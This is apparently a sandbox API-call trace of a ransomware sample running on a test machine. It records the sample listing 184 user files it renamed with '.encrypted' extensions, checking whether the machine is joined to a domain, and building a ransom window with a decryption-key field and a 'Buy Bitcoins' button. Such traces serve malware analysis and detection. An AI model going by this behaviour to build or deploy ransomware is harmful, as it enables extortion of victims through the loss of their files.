0 [0032.682] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0032.682] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xc80cb2ee50, dwMoveMethod=0x1 | out: lpNewFilePointer=0xc80cb2ee50*=0) returned 1 [0032.683] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xc80cb2ee40, dwMoveMethod=0x1 | out: lpNewFilePointer=0xc80cb2ee40*=0) returned 1 [0032.683] ReadFile (in: hFile=0x18c, lpBuffer=0xc80cd9cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xc80cb2ee80, lpOverlapped=0x0 | out: lpBuffer=0xc80cd9cb00*, lpNumberOfBytesRead=0xc80cb2ee80*=0x324a, lpOverlapped=0x0) returned 1 [0032.683] ReadFile (in: hFile=0x18c, lpBuffer=0xc80cd9cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xc80cb2ee80, lpOverlapped=0x0 | out: lpBuffer=0xc80cd9cb00*, lpNumberOfBytesRead=0xc80cb2ee80*=0x0, lpOverlapped=0x0) returned 1 [0032.683] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0032.683] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0032.683] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0032.683] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xc80cb2ed60, dwMoveMethod=0x1 | out: lpNewFilePointer=0xc80cb2ed60*=12874) returned 1 [0032.683] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0032.683] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xc80cb2ed60, dwMoveMethod=0x1 | out: lpNewFilePointer=0xc80cb2ed60*=0) returned 1 [0032.683] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xc80cb2ecb0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xc80cb2ecb0*=0) returned 1 [0032.683] ReadFile (in: hFile=0x18c, lpBuffer=0xc80cd9cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xc80cb2ecf0, lpOverlapped=0x0 | out: lpBuffer=0xc80cd9cb00*, lpNumberOfBytesRead=0xc80cb2ecf0*=0x324a, lpOverlapped=0x0) returned 1 [0032.683] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0032.683] PeekMessageW (in: lpMsg=0xc80cb2f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f370) returned 0 [0032.684] SetWindowTextW (hWnd=0x80020, lpString="Encrypted files: 184\r\n\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\g_Kf.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\jbm6X5WVPb3d4o.encrypted.m4a\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\MBc0Rw8Uo_Of3f5.encrypted.wav\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\Ny2s.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\oTNowkVPArPdClpl.encrypted.flv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\P62rA6FYB gP.encrypted.mp4\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\0-0nSQtjx3OQOk.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\2U 4q.encrypted.mkv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\4GhbRlq-JKTwUq.encrypted.bmp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\7tLy.encrypted.png\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\b1DrBF6BJiH2t5R.encrypted.bmp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\cChNLI nseUI.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\DjG5LKzHA.encrypted.bmp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\2qHnNLlstx60xk.encrypted.swf\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\a7BOT.encrypted.m4a\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\BxiNkfDKL7n6uh.encrypted.mkv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\Mkl8.encrypted.flv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\O7 BldHX4t31hLq.encrypted.wav\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\uMOrr9mp.encrypted.csv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\X9pGuRd2LUFtykx.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\xkRc6.encrypted.gif\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\FrZbOJgkVA5C6MyJ.encrypted.mp4\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\I0uZHq1VO1kg.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\JYTH35yWOw4cDE5jD.encrypted.odp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\K3EBs8.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\k9uoo8fW7r.encrypted.jpg\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\kQG5XtNI4DupERo o1m.encrypted.jpg\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\lQcVzOBTHZds7XE9L.encrypted.swf\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\M2GZLacPZQEjs2kMO8D.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\n0ie6V_g.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\osTre2ekexRLOM6.encrypted.jpg\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\q768hX7.encrypted.swf\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\QmkNd.encrypted.odp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\rvzc3jMnZDyKRdzF.encrypted.mkv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\uK 6Ek_gE.encrypted.png\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\Ur9w.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\xE_1J.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\YPMyrW0Yu.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\Zpipq.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\-K2qi4D7O1hA.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\13i0VlibnO4QxctB5.encrypted.odp\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\2sfMU.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\6hmkgL288Io-nw73.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\6VP Y1.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\aQjEhDUTmjiM4M.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\b9SUel0k8A.encrypted.xls\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\EcMUW.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\F0tlqD_PjItzmwvwmHNX.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\6ESq8lZBvb5xjb1XLyrd.encrypted.odt\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\84P_4rzx.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\-McD0G9w-y6.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\3 LJxnIVpNPfOuwlcIh-.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\U9OFxVyaM-sRGNq.encrypted.doc\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\wKBfM0BgIc5.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\ACt2aRGtYlaHCFWx Ti2.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\DpJxT01PYg1DSU8dGdRx.encrypted.pdf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\h_iDTN9q4xoR8AS.encrypted.ots\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\Par3V.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gMgUlv1jFWYOWc.encrypted.pdf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\iXosKeRIaoImk.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\2-L_bJ82.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\BftNn-lFCQRK6y3V.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\fPffAVX.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\GOZxV-S.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\LXe-5p6iU.encrypted.pdf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Mz7EF7dcig3 gnT3v.encrypted.xls\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\OhQsVpUB.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Z qH-1_5g2NYPxao.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\gxVaj.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\HynWIycZ.encrypted.csv\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\My New App.encrypted.accdb\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\My Shapes\\_private\\folder.encrypted.ico\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\-nTERrDy.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\5Cq0nxpQprd.encrypted.xls\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\K27yuQYoGg7erx5RY.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LIL6pH6Oee7iuTK.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LJDVlgSO.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\pvNdPv7CycNkjeBeIJOV.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\v2zRxHEjBQRq x6") returned 1 [0033.173] SendMessageW (hWnd=0x80020, Msg=0xb1, wParam=0xf4240, lParam=0xf423f) returned 0x1 [0033.173] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0033.173] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.173] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0033.174] TranslateMessage (lpMsg=0xc80cb2f8f0) returned 0 [0033.174] DispatchMessageW (lpMsg=0xc80cb2f8f0) returned 0xffffffff [0033.174] GetForegroundWindow () returned 0x301cc [0033.174] GetWindowLongPtrW (hWnd=0x301cc, nIndex=-21) returned 0x0 [0033.174] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0033.174] NtdllDefWindowProc_W (hWnd=0x4002c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0033.175] IsDialogMessageW (hDlg=0x5018c, lpMsg=0xc80cb2f8f0) returned 0 [0033.175] TranslateMessage (lpMsg=0xc80cb2f8f0) returned 0 [0033.185] DispatchMessageW (lpMsg=0xc80cb2f8f0) returned 0x0 [0033.185] Shell_NotifyIconW (dwMessage=0x1, lpData=0xc80cb2ef20) returned 1 [0033.194] KillTimer (hWnd=0x4002c, uIDEvent=0x1) returned 1 [0033.194] SetTimer (hWnd=0x4002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0033.197] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.230] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0033.231] PeekMessageW (in: lpMsg=0xc80cb2f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2e0) returned 1 [0033.232] TranslateMessage (lpMsg=0xc80cb2f2e0) returned 0 [0033.232] DispatchMessageW (lpMsg=0xc80cb2f2e0) returned 0xffffffff [0033.232] GetForegroundWindow () returned 0x301cc [0033.233] GetWindowLongPtrW (hWnd=0x301cc, nIndex=-21) returned 0x0 [0033.234] PeekMessageW (in: lpMsg=0xc80cb2f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2e0) returned 0 [0033.238] PeekMessageW (in: lpMsg=0xc80cb2f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2e0) returned 0 [0033.239] PeekMessageW (in: lpMsg=0xc80cb2f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2e0) returned 0 [0033.240] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0033.242] PeekMessageW (in: lpMsg=0xc80cb2ec00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ec00) returned 0 [0033.248] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0033.254] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0033.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0033.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0xc80cd8c0b0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetGetJoinInformation", lpUsedDefaultChar=0x0) returned 22 [0033.345] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetGetJoinInformation") returned 0x7ffe265119a0 [0033.345] NetGetJoinInformation (in: lpServer="", lpNameBuffer=0xc80cb2e378, BufferType=0xc80cb2e3a0 | out: lpNameBuffer=0xc80cb2e378*="WORKGROUP", BufferType=0xc80cb2e3a0) returned 0x0 [0033.358] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0033.360] PeekMessageW (in: lpMsg=0xc80cb2ec00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ec00) returned 1 [0033.360] TranslateMessage (lpMsg=0xc80cb2ec00) returned 0 [0033.360] DispatchMessageW (lpMsg=0xc80cb2ec00) returned 0xffffffff [0033.360] GetForegroundWindow () returned 0x301cc [0033.360] GetWindowLongPtrW (hWnd=0x301cc, nIndex=-21) returned 0x0 [0033.360] PeekMessageW (in: lpMsg=0xc80cb2ec00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ec00) returned 0 [0033.360] PeekMessageW (in: lpMsg=0xc80cb2ec00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ec00) returned 0 [0033.360] PeekMessageW (in: lpMsg=0xc80cb2ec00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ec00) returned 0 [0033.360] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0033.360] PeekMessageW (in: lpMsg=0xc80cb2e360, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2e360) returned 0 [0033.361] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0033.361] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0033.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0033.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0xc80cd8c8d0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetApiBufferSize", lpUsedDefaultChar=0x0) returned 17 [0033.367] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetApiBufferSize") returned 0x7ffe29755584 [0033.367] NetApiBufferSize (in: Buffer=0xc80cd9be80, ByteCount=0xc80cb2dad8 | out: ByteCount=0xc80cb2dad8) returned 0x0 [0033.368] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0033.369] PeekMessageW (in: lpMsg=0xc80cb2e360, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2e360) returned 0 [0033.369] PeekMessageW (in: lpMsg=0xc80cb2e360, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2e360) returned 0 [0033.369] CharLowerBuffW (in: lpsz="wchar[48]", cchLength=0x9 | out: lpsz="wchar[48]") returned 0x9 [0033.369] PeekMessageW (in: lpMsg=0xc80cb2ec00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ec00) returned 0 [0033.370] PeekMessageW (in: lpMsg=0xc80cb2ec00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ec00) returned 0 [0033.370] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0033.370] LoadLibraryW (lpLibFileName="netapi32.dll") returned 0x7ffe26550000 [0033.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferFree", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0033.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferFree", cchWideChar=17, lpMultiByteStr=0xc80cd8cdd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetApiBufferFree", lpUsedDefaultChar=0x0) returned 17 [0033.375] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetApiBufferFree") returned 0x7ffe29751010 [0033.375] NetApiBufferFree (Buffer=0xc80cd9be80) returned 0x0 [0033.376] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0033.377] PeekMessageW (in: lpMsg=0xc80cb2ec00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ec00) returned 0 [0033.377] PeekMessageW (in: lpMsg=0xc80cb2ec00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ec00) returned 0 [0033.377] PeekMessageW (in: lpMsg=0xc80cb2f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2e0) returned 0 [0033.377] PeekMessageW (in: lpMsg=0xc80cb2f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2e0) returned 0 [0033.377] PeekMessageW (in: lpMsg=0xc80cb2f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2e0) returned 0 [0033.377] PeekMessageW (in: lpMsg=0xc80cb2f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2e0) returned 0 [0033.377] PeekMessageW (in: lpMsg=0xc80cb2f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2e0) returned 0 [0033.377] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.377] CreateWindowExW (dwExStyle=0x0, lpClassName="static", lpWindowName="Your files has been safely encrypted", dwStyle=0x50000100, X=16, Y=8, nWidth=600, nHeight=42, hWndParent=0x5018c, hMenu=0x5, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x2011c [0033.378] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.378] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x210, wParam=0x50001, lParam=0x2011c) returned 0x0 [0033.378] GetStockObject (i=17) returned 0x10a0047 [0033.378] SendMessageW (hWnd=0x2011c, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0033.378] GetSysColor (nIndex=18) returned 0x0 [0033.378] GetClientRect (in: hWnd=0x2011c, lpRect=0xc80cb2f340 | out: lpRect=0xc80cb2f340) returned 1 [0033.378] GetWindowRect (in: hWnd=0x2011c, lpRect=0xc80cb2f340 | out: lpRect=0xc80cb2f340) returned 1 [0033.378] SetWindowLongPtrW (hWnd=0x2011c, nIndex=-21, dwNewLong=0x5) returned 0x0 [0033.378] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.378] GetDC (hWnd=0x0) returned 0x1601069e [0033.378] GetDeviceCaps (hdc=0x1601069e, index=90) returned 96 [0033.378] ReleaseDC (hWnd=0x0, hDC=0x1601069e) returned 1 [0033.378] CreateFontW (cHeight=-30, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x150a07f5 [0033.378] SendMessageW (hWnd=0x2011c, Msg=0x30, wParam=0x150a07f5, lParam=0x1) returned 0x0 [0033.378] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.378] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.378] CreateWindowExW (dwExStyle=0x200, lpClassName="edit", lpWindowName="Decryptionkey", dwStyle=0x50010080, X=304, Y=400, nWidth=305, nHeight=40, hWndParent=0x5018c, hMenu=0x6, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x501e6 [0033.379] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.379] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.379] GetWindowLongPtrW (hWnd=0x501e6, nIndex=-21) returned 0x0 [0033.379] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x111, wParam=0x4000006, lParam=0x501e6) returned 0x0 [0033.379] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.379] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.379] GetWindowLongPtrW (hWnd=0x501e6, nIndex=-21) returned 0x0 [0033.379] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x111, wParam=0x3000006, lParam=0x501e6) returned 0x0 [0033.379] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.379] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x55, wParam=0x501e6, lParam=0x3) returned 0x2 [0033.379] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.379] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0033.379] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.379] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x210, wParam=0x60001, lParam=0x501e6) returned 0x0 [0033.380] GetStockObject (i=17) returned 0x10a0047 [0033.380] SendMessageW (hWnd=0x501e6, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x1 [0033.380] GetClientRect (in: hWnd=0x501e6, lpRect=0xc80cb2f350 | out: lpRect=0xc80cb2f350) returned 1 [0033.380] GetWindowRect (in: hWnd=0x501e6, lpRect=0xc80cb2f350 | out: lpRect=0xc80cb2f350) returned 1 [0033.380] SetWindowLongPtrW (hWnd=0x501e6, nIndex=-21, dwNewLong=0x6) returned 0x0 [0033.380] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.380] GetDC (hWnd=0x0) returned 0x11010729 [0033.380] GetDeviceCaps (hdc=0x11010729, index=90) returned 96 [0033.380] ReleaseDC (hWnd=0x0, hDC=0x11010729) returned 1 [0033.380] CreateFontW (cHeight=-26, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Arial") returned 0xffffffff820a071c [0033.380] SendMessageW (hWnd=0x501e6, Msg=0x30, wParam=0xffffffff820a071c, lParam=0x1) returned 0x1 [0033.384] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.384] CreateWindowExW (dwExStyle=0x100, lpClassName="button", lpWindowName="Buy Bitcoins", dwStyle=0x50010000, X=15, Y=400, nWidth=153, nHeight=41, hWndParent=0x5018c, hMenu=0x7, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x5018a 